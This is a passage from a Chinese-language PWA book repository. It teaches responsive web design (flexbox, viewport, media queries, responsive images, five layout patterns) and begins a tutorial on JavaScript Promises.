`stretch`\n\n在弹性布局之前，开发者如果要实现子元素水平和垂直居中会比较麻烦，在弹性布局中，非常容易实现，只需要在容器上设置轴线对齐方式，如下代码所示。\n\n```css\n.container {\n  display: flex; /* 设置容器为弹性布局 */\n  justify-content: center; /* 设置在主轴上居中对齐 */\n  align-items: center; /* 设置在交叉轴上居中对齐 */\n}\n```\n\n#### 子元素样式属性\n\n同样，子元素也有\b很多新增的样式属性，如下：\n\n* `order` - 设置子元素在主轴方向上的顺序，取值为数字，从小到大排列，默认为 0\n* `flex-grow` - 定义子元素的放大比例，取值为数字，默认为 0\n* `flex-shrink` - 定义子元素的缩小比例，取值为数字，默认为 1\n* `flex-basis` - 定义在分配\b\b多余空间之前，子元素的默认大小，默认为 `auto`\n* `flex` - 是 `flex-grow`, `flex-shrink` 和 `flex-basis` 的简写，默认值为 `0 1 auto`\n* `align-self` - 覆盖父元素的 `align-items` 属性，可以让子元素自身采用不同的对齐方式，默认为 `auto`，继承父元素的 `align-items`\n\n弹性布局非常灵活，属性值也足够应对大部分复杂的场景。可以阅读这篇文章查看详细的介绍《[A Complete Guide to Flexbox](https://css-tricks.com/snippets/css/a-guide-to-flexbox/)》。\n\n那么，开始之前需要了解的内容就到这了，接下来看如何实现响应式布局。\n\n## 设置 viewport\n\n支持响应式第一步，需要做的是设置页面的 `viewport`。移动端网页会在头部书写 viewport 的元标签，它告诉浏览器页面多大尺寸，是否需要缩放。\n\n```html\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n```\n\n想要理解 viewport 可以阅读 Peter-Paul Koch 写的三篇文章，《[A tale of two viewports — part one](https://www.quirksmode.org/mobile/viewports.html)》，《[A tale of two viewports — part two](https://www.quirksmode.org/mobile/viewports2.html)》，《[Meta viewport](https://www.quirksmode.org/mobile/metaviewport/)》。\n\n在早期，移动设备经常需要打开 PC 端的网页，早期的移动设备设备像素比较低，多为 320px，而 PC 端的网页宽度一般都很大，所以，如果将 PC 端的网页在移动设备上打开，会因为页面太窄而导致布局错乱。为了解决这个问题，浏览器会将页面默认 viewport 设置为一个较大的值（Safari 默认是 980px），所以 PC 端的网页在移动设备浏览器上都能正常打开，只是元素看上去比较小。\n\n在上面的例子中，viewport 的值 `width=device-width`，告诉浏览器用 屏幕宽度（单位为 CSS 像素）来作为页面宽度渲染，在 iPhone X 下是 375px，不同的设备宽度可能不一样。这个视口被 Peter-Paul Koch 称为理想视口（ideal viewport），也是体验最好的视口大小。\n\n![viewport 设置前后对比图，右侧设置了 viewport](./img/viewport.png)\n\nviewport 元标签的取值有 6 种，如下表所示\n\n|字段名|取值|说明|\n|----- |----|---|\n|`width`|正整数，device-width|定义视口的宽度，单位是 CSS 像素，如果等于 device-width，则为理想视口宽度|\n|`height`|正整数，device-height|定义视口的高度，单位是 CSS 像素，如果等于 device-height，则为理想视口高度|\n|`initial-scale`|0 - 10|初始缩放比例，允许小数点|\n|`minimum-scale`|0 - 10|最小缩放比例，必须小于等于 maximum-scale|\n|`maximum-scale`|0 - 10|最大缩放比例，必须大于等于 minimum-scale|\n|`user-scalable`|yes/no|是否允许用户缩放页面，默认是 yes|\n\n## 确保内容不会超出 viewport\n\n设置了 viewport 为理想视口，如果在 iPhone X 上，有元素的宽度超出了 375px，那么就会溢出到视口外面，导致出现横向滚动条。无论是在 PC 端，还是移动端，用户的都习惯上下滚动，而不是左右滚动，强迫用户横向滚动或者缩小页面来浏览全部的内容，体验很不好。\n\n因此，不能期望设置 viewport 宽度能解决适配问题，还需要开发者记住以下原则。\n\n* 不要使用大的固定宽度的元素，如果不考虑穿戴式设备，不要设置大于 320px 的宽度\n* 不应该让内容在某一个特定宽度的 viewport 下才能正常显示\n* 使用相对单位或者媒体查询让元素在不同大小的视口下适配\n\n对于图片或者视频等嵌入式的元素，可以在站点 CSS 中添加下面的代码。\n\n```css\nimg, embed, object, video {\n  max-width: 100%; /* 设置 img 等元素最大宽度威 100% */\n}\n```\n\n![设置图片最大宽度前后对比，左侧没有设置 max-width 为 100%](./img/viewport_overflow.png)\n\n## 使用媒体查询\n\n媒体查询（media query）让开发者可以有选择性的应用不同 CSS，媒体查询提供了简单的判断方法，可以根据不同的设备特征应用不同样式，比如设备的宽度、类型、方向等，可以参考 MDN 上的文档[《CSS 媒体查询》](https://developer.mozilla.org/zh-CN/docs/Web/Guide/CSS/Media_queries)。\n\n```html\n<!-- 在 viewport 宽度大于 600px 时，应用 example.css 中的样式 -->\n<link ref=\"stylesheet\" href=\"example.css\" media=\"min-width: 600px\">\n<style>\n/* 如果设备类型为屏幕并且 viewport 小于 800px 宽，设置 body 背景颜色为灰色 */\n@media screen and (max-width: 800px) {\n  body {\n    background: #ccc;\n  }\n}\n</style>\n```\n\n如果需要使用媒体查询应用的样式比较多，可以独立为一个文件，通过在 `<link>` 标签中设置媒体查询条件。\n\n媒体查询支持很多设备特征，常用的主要是 viewport 的宽高和设备方向，如下表所示。\n\n|设备特征|取值|说明|\n|-------|----|----|\n|`min-width`|数值，如 600px|视口宽度大于 min-width 时应用样式|\n|`max-width`|数值，如 800px|视口宽度小于 max-width 时应用样式|\n|`orientation`|portrait&#124;landscape|当前设备方向，portrait 垂直，landscape 水平|\n\n如何选择 `min-width` 和 `max-width` 的取值，我们称为选择断点，主要取决于产品设计本身，没有万能媒体查询的代码。但经过实践，我们也总结了一套比较具有代表性的设备断点，代码如下。\n\n```css\n/* 很小的设备（手机等，小于 600px） */\n@media only screen and (max-width: 600px) { }\n\n/* 比较小的设备（竖屏的平板，屏幕较大的手机等, 大于 600px） */\n@media only screen and (min-width: 600px) { }\n\n/* 中型大小设备（横屏的平板, 大于 768px） */\n@media only screen and (min-width: 768px) { }\n\n/* 大型设备（电脑, 大于 992px） */\n@media only screen and (min-width: 992px) { }\n\n/* 超大型设备（大尺寸电脑屏幕, 大于 1200px） */\n@media only screen and (min-width: 1200px) { }\n```\n\n如果要对细分屏幕大小进行适配，可以查看文章，列出了详细的常见设备的媒体查询条件，《[media queries for common device breakpoints](https://responsivedesign.is/develop/browser-feature-support/media-queries-for-common-device-breakpoints/)》。\n\n\n## 最佳实践\n\n### 响应式文字\n\n大多数用户阅读都是从左到右，如果一行文字太长，用户阅读下一行时容易出错，或者用户只会读一行文字的前半部分，而略读后半部分。在上世纪就有研究表明，一行 45 ～ 90 个英文字符是最好的，当然这要看是什么字体，一个中文汉字一般对应两个英文字符，所以，对于中国用户来说，一行文字合理的数量应该是  22 ～ 45 个字符。\n\n字体大小对阅读体验同样重要，基本字体一般不小于 16px，行高大于 1.2em。\n\n```css\np {\n  font-size: 16px;\n  line-height: 1.2em; /* 1.2em = 19.2px */\n}\n```\n\n而设备的尺寸多种多样，如果设计师希望在平板上将字体设置为 18px，开发者可以使用前面讲到的 REM 和媒体查询，代码如下。\n\n```css\n/* 在屏幕宽度大于 600px 的设备上使用下面的样式 */\n@media only screen and (min-width: 600px) {\n  p {\n    font-size: 1.125rem; /* 1.125rem = 16px * 1.125 = 18px */\n  }\n}\n```\n\n### 响应式图片\n\n一图胜千言，图片占网页流量消耗的 60%，可见其在 Web 的重要性。在上文提到图片不要超出视口的宽度，给图片设置 `max-width: 100%`，这确实非常有作用，那还有没有其他需要我们注意的呢。\n\n#### 图片的质量\n\n现代设备的 DPR (设备像素比）都很高，iPhone X 的 DPR 是 3，因此如果我们用 375px 宽的图片在 iPhone X 上显示，实际只能利用它三分之一的设备像素点，会让图片看起来很模糊，视觉体验较差。如果我们都用 3 倍分辨率的图片来显示，实际屏幕较小的设备无法完全显示如此高清晰度的图片，就会在显示时进行压缩，这对于实际屏幕比较小的设备来说会浪费较多带宽。\n\n为此，图片质量也需要能响应式。\n\n```html\n<!-- 响应式图片 -->\n<img\n  srcset=\"example-320w.jpg 320w,\n          example-480w.jpg 480w,\n          example-800w.jpg 800w\"\n  sizes=\"(max-width: 320px) 280px,\n         (max-width: 480px) 440px,\n         800px\"\n  src=\"example-800w.jpg\" alt=\"An example image\">\n```\n\n这里 `sizes` 和 `srcset` 很多开发者比较陌生。在兼容性不好的浏览器里，会继续使用默认 `src` 属性中的图片。\n\n**`srcset`**\n\n定义了几组图片和对应的尺寸，格式比较简单，主要的两个部分是图片地址和图片固有宽度，单位为像素，但是这里使用 `w` 代替 `px`。\n\n**`sizes`**\n\n定义了一组媒体查询条件，并且指名了如果满足媒体查询条件之后，使用特定尺寸的图片。\n\n如果开发者书写了上面代码中的图片，浏览器会根据下面的顺序加载图片。\n\n1. 获取设备视口宽度\n2. 从上到下找到第一个为真的媒体查询\n3. 获取该条件对应的图片尺寸\n4. 加载 `srcset` 中最接近这个尺寸的图片并显示\n\n所以，如果我们在视口宽度为 375px 的设备上，会采用最接近 440px 的图片，`example-480w.jpg`。\n\n如果对 `srcset` 和 `sizes` 还想了解更多，可以访问 MDN 的文档[《响应式图片》](https://developer.mozilla.org/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images)。\n\n#### 图片艺术方向\n\n我们提到将图片的 `max-width` 设置为 100%，图片就会在手机屏幕上压缩到视口的宽度，如果这张图片实际上很大，图片中的内容就会看不清，特别是如果图片主要内容集中在中间，如人像，浏览效果会比较差。遇到这样的情况，最好的方式是在不同的屏幕尺寸下采用不同的图片，让主要内容保持在视口中间，如下图。\n\n![艺术方向示意图，图片来源于 https://developers.google.com/web/fundamentals/design-and-ux/responsive/images](./img/art_direction_2x.png)\n\nHTML 标准中有一个标签 `<picture>`，允许我们在其中设置多个图片来源，就和 `<video>`，`<audio>` 标签一样。\n\n```html\n<picture>\n  <source media=\"(max-width: 799px)\" srcset=\"example-480w-portrait.jpg\">\n  <source media=\"(min-width: 800px)\" srcset=\"example-800w.jpg\">\n  <img src=\"example-800w.jpg\" alt=\"An example img\">\n</picture>\n```\n\n`<picture>` 标签的作用和上面在 `<img>` 中设置 `sizes` 和 `srcset` 一样，都能在不同的设备宽度下显示不同的图片，笔者更建议使用 `<picture>` 实现此效果。\n\n#### 图片的其他注意事项\n\n响应式布局在 PWA 中是非常重要的概念，在实现响应式的同时，还需要关注响应式图片是否会带来性能问题。在开发过程中，还需要注意下面几个问题。\n\n1. 对图片进行懒加载\n2. 对于小的简单的图片，可以使用矢量图或者字体，保证在不同尺寸设备下都很清晰\n3. 对于尺寸小的图片，可以使用 Data URI 的方式，将图片转成 base64 内联在 CSS 或者 HTML 中，避免请求，但这样同样无法利用 HTTP 缓存，因此一般只对小于 1.5K 的图片做处理\n4. 挑选恰当的图片格式，PNG，JPEG 等，可以在 Android 下使用 WebP 格式\n5. 对图片进行压缩和优化\n6. 采用 CSS 和 CSS 动画代替一些简单的图片和动态图，如加载中 GIF 图\n\n### 响应式布局\n\n利用相对单位、flexbox、媒体查询等技术，开发者能应付各种类型的页面和布局，为了方便开发者能够快速上手，下面介绍 5 种常见的响应式布局模式。这些模式最初由 [Luke Wroblewski](https://www.lukew.com/ff/entry.asp?1514) 总结并提出。\n\n为了更好的理解这些响应式布局，笔者准备了 5 个例子。\n\n```bash\n# 从 GitHub 下载代码到本地 pwa-book-demo 目录\n$ git clone https://github.com/lavas-project/pwa-book-demo.git\n\n# 进入到 chapter02/responsive-web-design 目录\n$ cd chapter02/responsive-web-design\n\n# 安装 npm 依赖\n$ npm install -g edp\n\n# 启动 chapter02 responsive-web-design 示例\n$ edp ws start\n```\n\n启动完成之后，访问 `http://localhost:8848/` 能看到 5 个不同的目录，如 mostly-fluid，点击目录里的 `index.html` 就能看到不同模式的效果，尝试拖动改变浏览器的大小吧。\n\n#### 第一种：大体流动（Mostly Fluid）\n\n大体流动布局的主要特点是在大屏幕上，内容区域宽度是固定的，因此在多数设备上，主要布局结构并没有很大改变，如果屏幕宽度大于内容区域，就在内容左右留白。而在视窗宽度较窄时，会逐渐掉落呈堆放，如下图所示。\n\n![大体流动布局示意图](./img/mostly_fluid.png)\n\n大体流动布局比较简单，往往只需要少量的媒体查询就可以实现，如下代码所示。\n\n```html\n<style>\n.box {\n  width: 100%;\n  height: 150px;\n}\n/* 设置各个区块的颜色 */\n.b1 {\n  background: #009;\n}\n.b2 {\n  background: #06c;\n}\n.b3 {\n  background: #39f;\n}\n.b4 {\n  background: #6cf;\n}\n.b5 {\n  background: #cff;\n}\n/* 在大于 450px 时，将 .b2, .b3 宽度设置为 50% */\n@media screen and (min-width: 450px) {\n  .b2, .b3 {\n    width: 50%;\n  }\n}\n/* 在大于 800px 时，将 .b1, .b2 宽度设置为 50%，让 .b3, .b4, .b5 平分一行 */\n@media screen and (min-width: 800px) {\n  .b1, .b2 {\n    width: 50%;\n  }\n  .b3, .b4, .b5 {\n    width: 33.333333%;\n  }\n}\n/* 定义最大宽度为 980px */\n@media screen and (min-width: 980px) {\n  .container {\n    max-width: 980px;\n    margin: auto;\n  }\n}\n</style>\n...\n<div class=\"container\">\n  <div class=\"box b1\"></div>\n  <div class=\"box b2\"></div>\n  <div class=\"box b3\"></div>\n  <div class=\"box b4\"></div>\n  <div class=\"box b5\"></div>\n</div>\n```\n\n#### 第二种：列掉落 （Column Drop）\n\n列掉落，布局中的每列随着宽度变小而逐个掉落，在视口最小的时候，每个元素都纵向堆放。和大体流动布局不同点在于，列掉落布局不会设置最大宽度，如果视口足够大，列掉落布局也会填满整个页面。媒体查询的断点选择需要根据网页本身的内容来选择。\n\n![列掉落布局示意图](./img/column_drop.png)\n\n列掉落比大体流动布局要简单，代码如下。\n\n```html\n<style>\n/* 在大于 450px 时，将 .b1 和 .b2 放置在同一行，分别占据 30% 和 70% */\n@media screen and (min-width: 450px) {\n  .b1 {\n    width: 30%;\n  }\n  .b2 {\n    width: 70%;\n  }\n}\n/* 在大于 800px 时，.b1, .b3 各占 20% 区域，.b2 在中间占 60% */\n@media screen and (min-width: 800px) {\n  .b1, .b3 {\n    width: 20%;\n  }\n  .b2 {\n    width: 60%;\n  }\n}\n</style>\n...\n<div class=\"container\">\n  <div class=\"box b1\"></div>\n  <div class=\"box b2\"></div>\n  <div class=\"box b3\"></div>\n  <div class=\"box b4\"></div>\n  <div class=\"box b5\"></div>\n</div>\n```\n\n#### 第三种：布局移位（Layout Shifter）\n\n布局移位是最灵活的布局方式，它不仅仅将元素按照从前到后，从上到下排列，有时还会改变元素的位置。\n\n![布局移位布局示意图](./img/layout_shifter.png)\n\n代码如下：\n\n```html\n<style>\n/* 在大于 800px 时，将 .b1 和 .b4 放置在同一行，分别占据 20% 和 80% */\n@media screen and (min-width: 800px) {\n  .b1 {\n    width: 20%;\n  }\n  .b4 {\n    width: 80%;\n  }\n}\n</style>\n...\n<div class=\"container\">\n  <div class=\"box b1\"></div>\n  <div class=\"box b4\">\n    <div class=\"box b2\"></div>\n    <div class=\"box b3\"></div>\n  </div>\n</div>\n```\n\n#### 第四种：微调（Tiny Tweaks）\n\n微调，意思就是在视口发生变化时，对内容进行一些小的调整，比如调整字体、图片大小或者元素间距等。\n\n![字体微调示意图](./img/tiny_tweaks.png)\n\n```html\n<style>\n.b1 {\n  background: #39f;\n  text-align: center;\n  padding-top: 10%;\n  font-size: 1em;\n}\n@media screen and (min-width: 450px) {\n  .b1 {\n    font-size: 2em;\n  }\n}\n@media screen and (min-width: 800px) {\n  .b1 {\n    font-size: 4em;\n  }\n}\n</style>\n...\n<div class=\"container\">\n  <div class=\"box b1\">字体大小</div>\n</div>\n```\n\n#### 第五种：画布溢出（Off Canvas）\n\n在画布溢出布局中，内容不是从上到下的，而是将不常用的内容，比如应用菜单和导航栏，折叠起来，留下一个打开的入口，只有当屏幕足够大的时候才显示。画布溢出布局很常见，不仅在 Web App 中，在 Native App 中使用更多。这样的布局一般都需要配合 JavaScript 使用。\n\n![画布溢出示意图](./img/off_canvas.png)\n\n在示例中，我们通过 `transform: translate(-275px, 0)` 将左侧侧边栏隐藏在视口外，点击菜单后，菜单栏会从左侧划出。在页面视口大于 800 时，将布局改为 `flexbox` 弹性布局，直接显示左侧菜单栏，代码如下。\n\n```html\n<style>\n  nav {\n    width: 275px;\n    height: 100%;\n    position: absolute;\n    /* 将菜单栏隐藏起来 */\n    transform: translate(-275px, 0);\n    transition: transform 0.3s ease-in-out;\n    background: #39f;\n    z-index: 2;\n  }\n  nav.open {\n    transform: translate(0, 0);\n  }\n  /* 在视口大于 800px 时，将菜单栏直接显示出来 */\n  @media screen and (min-width: 800px) {\n    nav {\n      position: relative;\n      transform: translate(0, 0);\n    }\n    body {\n      display: flex;\n      flex-flow: wrap;\n    }\n    main {\n      width: auto;\n      flex: 1;\n    }\n  }\n</style>\n<nav></nav>\n<main>\n  <a id=\"menu\">...</a>\n</main>\n<div id=\"mask\"></div>\n<script>\n  let mask = document.querySelector('#mask')\n  let nav = document.querySelector('nav')\n  let menu = document.querySelector('a')\n\n  // 点击菜单，显示或隐藏菜单栏\n  menu.addEventListener('click', event => {\n    nav.classList.toggle('open')\n    mask.classList.toggle('open')\n  })\n  // 点击遮罩，隐藏菜单栏\n  mask.addEventListener('click', event => {\n    nav.classList.remove('open')\n    mask.classList.remove('open')\n  })\n</script>\n```\n\n以上就是比较常见的 5 种响应式布局模式，大多数情况下都需要多种模式同时使用。\n\n## 总结\n\n响应式布局从设计角度出发，借助视口设置、CSS 媒体查询等方法，使开发者可以更易于维护适用于不同尺寸屏幕的网页。在本节中，我们介绍了一些文字、图片以及布局方面常见的响应式设计最佳实践，开发者应用这些经验，可以更好的优化 PWA 在不同尺寸大小设备的用户体验。\n\n"
  },
  {
    "path": "chapter02.md",
    "content": "# 设计与体验\n\nPWA 的提出包含了很多新的技术，如 Service Worker 等，但**用户体验**才是它的核心，用户体验包括很多方面，速度、顺滑度、阅读体验等，这不是单靠设计师能做到的，需要设计与技术互相配合，设计配合技术，技术实现设计。设计师需要考虑如何缩短用户转化流程，如何布局，让用户能方便快捷的获取信息，还需要考虑如何配合技术达到最佳用户体验；开发人员同样需要考虑采用使用什么技术来达到体验最优。\n\n本章会从体验原则、App Shell、骨架屏和响应式布局来分析设计和技术如何互相配合来达到最佳体验。\n"
  },
  {
    "path": "chapter03/1-promise.md",
    "content": "# Promise\n\n在深入介绍 Service Worker 之前，先来了解一下 Promise API。因为 Service Worker 的所有的异步接口内部都采用 Promise 来实现，因此学习了 Promise 讲能够有助于对 Service Worker 的理解。此外，本文还介绍了 Promise\n的可靠性，链式调用的原理，并行执行的原理等较为深入的内容，感兴趣的读者也可以通过本文加深对 Promise 的理解。\n\n## 什么是 Promise\n\nPromise 是 ES6 引入的一种异步编程的解决方案，通过 Promise 对象来提供统一的异步状态管理方法。\n\n过去我们通常使用注册异步回调函数的形式来进行异步编程，这里的异步回调实际上是具体的异步函数与开发者的接口约定，并不存在任何的标准，因此回调的注册形式、触发方式、异步状态管理等等都得不到统一且稳定的保证。同时这种异步回调的写法不利于状态管理，在处理多个异步过程的时候容易走进回调地狱，因此 JavaScript 异步编程需要一个统一且可靠的方案来进行异步状态管理，因此 Promise 应运而生。事实上 Promise 是社区推动的产物，在早期就出现了比如 $.Deferred、Bluebird 等库用于解决异步状态管理和回调地狱的问题，并最终促进并推动了 Promise 写进了 ES6 规范当中。\n\n## Promise 基本用法\n\n一般在使用 Promise 对象的时候，首先需要对其进行实例化：\n\n```js\nlet promise = new Promise((resolve, reject) => {\n  if (/* 操作成功 */) {\n    resolve(value)\n  } else {\n    reject(error)\n  }\n})\n```\n\n其中实例化的 promise 对象为异步状态的管理容器，`resolve()` 和 `reject()` 则是用于控制 promise 状态的方法。\n\nPromise 具有三种状态：\n\n- 'pending'：初始状态，代表异步过程仍在进行中，尚未判定成功或者失败；\n- 'fulfilled'：操作成功。通过调用 `resolve()` 方法，promise 状态将由 'pending' 变更为 'fulfilled'；\n- 'rejected'：操作失败。通过调用 `reject()` 方法，promise 状态将变更为 'rejected'。\n\n在调用 `resolve()` 或 `reject()` 方法的时候可以传入任意值，比如 `resolve('操作成功')`、`reject(Error('操作失败'))` 等等，这个值会作为监听状态变更的回调函数的参数透传出去。\n\nPromise 提供了 `.then(onFulfilled, onRejected)` 和 `.catch(onRejected)` 等原型链方法用于注册状态变更所触发的回调函数。其中 `.catch(onRejected)` 等价于 `.then(null, onRejected)`，因此为了行文方便，在没有特殊说明的情况下，后续所提到的 `.then()` 方法均用于指代 `.then()` 或 `.catch()`。\n\n下面的示例演示了 Promise 的基本使用方式。在这个例子中创建了一个 Promise 对象，并且利用 `setTimeout()` 方法在 1 秒后触发 Promise 的状态变更，状态变更后便会触发 `onFulfilled` 回调函数并在控制台打印出 Promise 的返回值。\n\n```js\nlet promise = new Promise(resolve => {\n  setTimeout(() => {\n    resolve('执行完成！')\n  }, 1000)\n})\n// 1 秒后打印“执行完成”\npromise.then(value => {\n  console.log(value)\n})\n// 此时不会执行 onRejected 回调\npromise.catch(error => {\n  console.log(error)\n})\n```\n\n同理，1 秒后将 Promise 状态变更为失败则是调用 `reject()` 方法，可采用 `.then()` 和 `.catch()` 方法进行 onRejected 回调的注册：\n\n```js\nlet promise = new Promise((resolve, reject) => {\n  setTimeout(() => {\n    reject('操作失败！')\n  }, 1000)\n})\npromise.then(\n  // 不会进入 onFulfilled 回调\n  value => {\n    console.log(value)\n  },\n  // 1 秒后打印“操作失败！[1]”\n  error => {\n    console.log(error + '[1]')\n  }\n)\n// 1 秒后打印“操作失败！[2]”\npromise.catch(error => {\n  console.log(error + '[2]')\n})\n```\n\n当回调函数执行出错时，promise 的状态同样会变更为 'rejected'：\n\n```js\nlet promise = new Promise((resolve, reject) => {\n  throw Error('操作失败！')\n})\npromise.catch(error => {\n  // 打印“操作失败！”\n  console.log(error.message)\n})\n```\n\n在一些复杂的异步场景当中，我们还可以使用变量将 resolve 和 reject 缓存下来，等到需要变更 promise 状态的时候再去触发它们，这种情形在配合上各种闭包写法，可以实现很多神奇的功能：\n\n```js\nlet resolve\nlet reject\n\nlet promise = new Promise((res, rej) => {\n  resolve = res\n  reject = rej\n})\n\npromise.then(value => {\n  console.log(value)\n})\n\n/* 一些神仙操作 */\nif (/* 异步操作成功 */) {\n  resolve(value)\n} else {\n  reject(error)\n}\n```\n\nPromise 提供了 `Promise.resolve(value)` 和 `Promise.reject(error)` 来快速获得一个确定状态以及返回值的 Promise 对象，在一些特定的使用场景下，这两个函数能够起到简化代码的作用。\n\n```js\nlet p1 = Promise.resolve(12345)\n// 等价于\nlet p1 = new Promise(resolve => {\n  resolve(12345)\n})\n\nlet p2 = Promise.reject(Error('出错了'))\n// 等价于\nlet p2 = new Promise((resolve, reject) => {\n  reject(Error('出错了'))\n})\n```\n\n## Promise 的可靠性\n\nPromise 作为异步状态的管理方案，首先要解决的是状态管理的可靠性问题，这里包括操作的可靠性和状态的可靠性两个方面，Promise 通过以下特点来依次解决这些可靠性问题。\n\n### 统一的格式\n\nPromise 对象统一了异步状态管理的格式，经过 Promise 包装的异步过程将具有统一的状态变更方式，统一的 API 以及统一的回调函数格式。这样就再也不需要为过去不同形式的回调函数所困扰。\n\n我们可以做个对比，在过去采用回调函数的机制进行异步编程时，写法五花八门：\n\n```js\n// ajax 风格的回调写法\nrun({\n  success (value) {\n    console.log('执行成功！')\n  },\n  error (error) {\n    console.log('执行失败！')\n  }\n})\n// nodejs 风格的回调写法\nrun((error, result) => {\n  if (error) {\n    console.log('执行失败！')\n  } else {\n    console.log('执行成功！')\n  }\n})\n// 事件监听风格的回调写法\nrun.onsuccess = (result) => {\n  console.log('执行成功！')\n}\nrun.onfail = (error) => {\n  console.log('执行失败！')\n}\nrun()\n```\n\n而 Promise 只有一种写法，完成了格式上的统一，这也为下一节将要介绍的 Promise 链式调用提供基础：\n\n```js\nlet promise = run()\npromise.then(result => {\n  console.log('执行成功！')\n})\npromise.catch(result => {\n  console.log('执行失败！')\n})\n```\n\n### Promise 状态不受外部影响\n\nPromise 只能通过 `resolve()` 和 `reject()` 方法控制 Promise 的状态，这个状态无法被外部直接访问，也没有提供任何方法从外部修改状态，这就保证了 Promise 状态不受外部影响。\n\n### Promise 状态具有确定性\n\nPromise 对象一旦从初始状态（pending）变更为执行成功（fulfilled）或者执行失败（rejected），那么这个状态就被完全确定下来了，不会被后续的任何操作所影响，即便在此后多次调用 `resolve()` 或 `reject()`，这个 Promise 对象的状态也将永远是这个初次变更时的状态。同时，初次调用 `resolve` 或者 `reject` 所传入的参数也将会固定下来。\n\n```js\nlet promise = new Promise((resolve, reject) => {\n  // 初次触发状态变更为 fulfilled,\n  // 同时记录返回值为 1 并触发 onFulfilled 回调函数\n  resolve(1)\n  // 后续的操作都不会影响状态，\n  // 也不会覆盖掉返回值，\n  // 也不会多次触发 onFulfilled 回调\n  reject(2)\n  resolve(3)\n  reject(4)\n})\n// 打印 1\npromise.then(value => {\n  console.log(value)\n})\n// 不会进入该 onRejected 回调\npromise.catch(error => {\n  console.log(error)\n})\n```\n\nPromise 的这一特性确保了异步过程最终状态的确定性，不用担心这个状态在后续的任何时候发生变更。\n\n### Promise 回调函数是一次性的\n\n由于 Promise 对象上注册的回调函数只会至多触发一次，这个特点规避了过去基于基于回调函数的异步编程当中回调函数执行次数不受控制的问题。在 Promise 的这套机制下，希望触发几次回调，就注册几个回调函数即可。\n\n```js\n// 假设异步函数的实现机制如下，会存在多次调用 callback 的情况\nfunction run (callback) {\n  setInterval(callback, 1000)\n}\n// 采用 Promise 进行包装，就能够避免这一问题\nlet promise = new Promise(resolve => {\n  run(resolve)\n})\n\n// 只会触发一次\npromise.then(() => {\n  console.log('执行完成！')\n})\n```\n\n### Promise 不存在回调过早问题\n\n由于 Promise 的状态具有确定性，一旦固定下来后便不会发生任何更改，因此在任何时候注册回调函数都可以监听到 Promise 的状态。如果回调函数在状态变更前注册，则会等待状态变更时触发；当注册时状态已经确定下来，那么 Promise\n会立即调用这个函数并传入相应的返回值。这就解决了过去回调函数机制可能存在的回调过早问题（即事件在回调注册前触发导致回调监听失效），在 Promise 机制的保证下，这种问题不会发生。\n\n下面举个例子演示后注册的 onFulfilled 回调获取返回值的情况：\n\n```js\nlet promise = new Promise((resolve, reject) => {\n  // 1 秒时触发状态变更为 fulfilled\n  setTimeout(() => {\n    resolve('操作成功！')\n  }, 1000)\n})\n// 0 秒时注册 onFulfilled\npromise.then(value => {\n    console.log(value + '[1]')\n})\n// 2 秒时注册 onFulfilled\nsetTimeout(() => {\n  promise.then(value => {\n    console.log(value + '[2]')\n  })\n}, 2000)\n```\n\n这段代码的控制台输出结果为：\n\n```bash\n# (...1s)\n操作成功！[1]\n# (...2s)\n操作成功！[2]\n```\n\n可以看到，第 0 秒注册的回调函数在第 1 秒 promise 对象状态变更的时候触发，同时第 2 秒注册的的回调函数会立即触发并成功获得返回值。\n\n这一特性确保了在任何时候注册 promise 的回调函数都不会错过异步返回的结果，这个点在回调函数的年代很难被保证的。\n\n### Promise 的回调函数之间不会相互影响\n\n同一个 Promise 上注册的回调函数彼此相互隔离，因此个别回调函数执行出错并不会影响到其他回调函数的正常执行。\n\n```js\nlet promise = new Promise(resolve => {\n  setTimeout(() => {\n    resolve('操作成功！')\n  }, 1000)\n})\n\n// 1 秒后执行回调并抛错\npromise.then(value => {\n  throw Error('出错了')\n})\n\n// 永远不会进到 onRejected 回调中\n// 因为onFulfilled 执行出错不会影响 promise 的状态\npromise.catch(error => {\n  console.log(error)\n})\n\n// 1 秒后打印“操作成功！”\npromise.then(value => {\n  console.log(value)\n})\n```\n\n### Promise 回调函数执行的时序是确定的\n\n首先举个例子来说明问题。假设目前存在一个函数 `run()`，它可以传入回调函数作为参数，那么相应的代码如下所示：\n\n```js\nconsole.log('a')\nrun(() => {\n  console.log('b')\n})\nconsole.log('c')\n```\n\n在不知道 run 函数的内部实现之前，我们完全无法预测这段代码的执行结果。比如以下这两种实现方式，其打印的结果是完全不一样的：\n\n```js\nfunction run (callback) {\n  callback()\n}\n// 打印 a b c\n\n/*****/\n\nfunction run (callback) {\n  setTimeout(callback)\n}\n// 打印 a c b\n```\n\n但如果 run 函数通过 Promise 的方式来实现，并且回调函数放到 `.then` 方法当中执行，那么我们就可以很明显地知道打印结果一定是“a c b”：\n\n```js\nconsole.log('a')\nrun().then(() => {\n  console.log('b')\n})\nconsole.log('c')\n// 打印 a c b\n```\n\n这里涉及到 microtask、JavaScript 事件循环机制相关 的概念，感兴趣的同学可以搜索相应关键字进行深入了解。\n\n### 小节\n\n总的来说，Promise 通过一系列特性解决了过去异步编程当中存在的可靠性问题，使得我们能够以一种更为简单而规整的方式去获取和管理异步状态。\n\n## Promise 的串行执行与链式调用\n\n在开篇 Promise 的演示当中一个最为亮眼的特点就是，通过一连串的 `.then()` 链式调用来实现多个异步方法的顺序执行问题：\n\n```js\nrun1()\n  .then(run2)\n  .then(run3)\n  .then(run4)\n  .catch(error => {\n    console.log('执行出错')\n  })\n```\n\n那么接下来我们将从 `.then()` 出发，一步一步地弄明白其中的 Promise 传递过程，并最终理解 Promise 的链式调用机制。\n\n### Promise.prototype.then\n\n`.then(onFulfilled, onRejected)` 是 Promise 的原型链方法，用于注册 Promise 对象状态变更时的回调函数。它接受两个回调函数作为参数，分别在 Promise 变更为不同状态时触发，其中 `onRejected` 可以缺省。\n\n```js\npromise.then(\n  result => {\n    console.log('执行成功！')\n  },\n  error => {\n    console.log('执行失败！')\n  }\n)\n```\n\n`.then()` 方法会创建并返回一个新的 Promise 对象（用 p2 指代，当前监听的 Promise 对象用 p1 指代），用于表征回调函数的执行情况。这个过程满足如下规则：\n\n- p1 的状态只决定了何时执行回调以及执行哪种类型的回调，并不会影响到 p2 状态；\n- p2 的初始状态为 'pending'，当回调函数执行成功时状态变更为 'fulfilled'，如果回调执行过程抛出异常则变更为 'rejected'；\n- 回调函数的返回值 value 将作为 p2 触发状态变更时 `resolve(value)` 